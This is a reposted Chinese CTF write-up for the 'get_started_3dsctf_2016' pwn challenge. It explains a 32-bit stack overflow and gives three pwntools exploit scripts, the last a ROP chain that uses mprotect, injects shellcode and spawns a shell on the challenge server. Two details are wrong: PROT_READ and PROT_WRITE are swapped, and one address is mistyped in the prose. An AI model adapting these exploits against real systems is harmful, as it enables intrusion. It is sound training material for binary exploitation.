get_started_3dsctf_2016


  就是這道題!被師傅們打到1分...然后我做的很吃力...

  先檢查保護,32位程序,開啟了堆棧不可執行。

  ida看一下main函數都干了些什么。

  可以看到main函數就是可以進行溢出,而且有一個可以get_flag的函數。雖然有一個if條件限制,但是我見其他人有這種做法,就是main函數溢出到返回地址的時候直接溢出到if條件判斷里面,即使棧空間被破壞了,但是無所謂,已經輸出flag了。

  就是箭頭指的那里是一個跳轉,這里就直接跳到下一行代碼。  

  就是下面這個exp:

 1 from pwn import *
 2 q = process('./get_started_3dsctf_2016')
 3 context.log_level = 'debug'
 4 sleep(0.1)
 5 
 6 payload = 'a'*56
 7 payload += p32(0x080489B8)
 8 q.sendline(payload)
 9 sleep(0.1)
10 q.recv()

  

  可以看到本地是可以打通的,但是遠程打不通。這個方法就先到這里,一會兒咱們再說遠程的問題。

  上面的exp是繞過了if判斷,但是我們仔細看看if判斷是判斷什么。

  是判斷調用這個函數時候的參數,那么我們可以不可以將返回地址溢出成帶參數的呢?

  答案是可以的,大概就是這么布局:'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 參數1 + 參數2

  我們來看一下exp:

 1 from pwn import *
 2 #q = remote('node3.buuoj.cn',29645)
 3 q = process('./get_started_3dsctf_2016')
 4 context.log_level = 'debug'
 5 sleep(0.1)
 6 
 7 payload = 'a'*56
 8 payload += p32(0x080489A0) + p32(0x0804E6A0)
 9 payload += p32(0x308CD64F) + p32(0x195719D1)
10 q.sendline(payload)
11 sleep(0.1)
12 q.recv()

  

  可以看到本地是可以打通的,我再試一下遠程。

  

  可以看到遠程也打通了,其實,仔細看我的exp,其他都好理解,就是一個地方。get_flag的返回地址,這個地址不能亂寫,打遠程時,如果程序是異常退出了,最后是不給你回顯的。所以我們得想辦法讓程序正常退出。

  C語言有個函數是exit,只要執行這個只要我們把get_flag的返回地址寫成exit的地址,程序就可以結束並且有回顯了。

  所以這樣弄一下,遠程就可以打通了。

  我剛開始也不會做的時候,我看了好多人的exp,發現有的師傅是通過給bss段賦可執行權限做的。

  在這里,我們也試着跟着師傅們的步伐,學習一下!

 

 

 

  有這么一個函數,mprotect,我們先來學習一下。

  int mprotect(const void *start, size_t len, int prot);

  第一個參數填的是一個地址,是指需要進行操作的地址。

  第二個參數是地址往后多大的長度。

  第三個參數的是要賦予的權限。

  mprotect()函數把自start開始的、長度為len的內存區的保護屬性修改為prot指定的值。

  嗯。。。還是上面這一句話講的明白...

  prot可以取以下幾個值,並且可以用“|”將幾個屬性合起來使用:

  1)PROT_READ:表示內存段內的內容可寫;

  2)PROT_WRITE:表示內存段內的內容可讀;

  3)PROT_EXEC:表示內存段中的內容可執行;

  4)PROT_NONE:表示內存段中的內容根本沒法訪問。

  prot=7 是可讀可寫可執行    #這個是個知識點。。。我是沒找到出處,我唯一能想到的就是師傅在調試的過程發現第三個參數等於7是賦給的內存地址權限是可讀可寫可執行叭。

  需要指出的是,指定的內存區間必須包含整個內存頁(4K)。區間開始的地址start必須是一個內存頁的起始地址,並且區間長度len必須是頁大小的整數倍。

  就這樣,我們就可以將一段地址弄成可以執行的了。因為程序本身也是靜態編譯,所以地址是不會變的。

  從這里找個地址就可以,我這里取0x80ea00這個地址,大小為0x1000

  我這里貼一下exp:

 1 from pwn import *
 2 q = remote('node3.buuoj.cn',29645)
 3 #q = process('./get_started_3dsctf_2016')
 4 context.log_level = 'debug'
 5 
 6 mprotect = 0x0806EC80
 7 buf = 0x80ea000
 8 pop_3_ret = 0x0804f460
 9 read_addr = 0x0806E140
10 
11 payload = 'a'*56
12 payload += p32(mprotect)
13 payload += p32(pop_3_ret)
14 payload += p32(buf)
15 payload += p32(0x1000)
16 payload += p32(0x7)
17 payload += p32(read_addr)
18 payload += p32(buf)
19 payload += p32(0)
20 payload += p32(buf)
21 payload += p32(0x100)
22 q.sendline(payload)
23 sleep(0.1)
24 
25 shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
26 q.sendline(shellcode)
27 sleep(0.1)
28 q.interactive()

  這個exp是本地遠程都可打的通的,直接拿到shell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM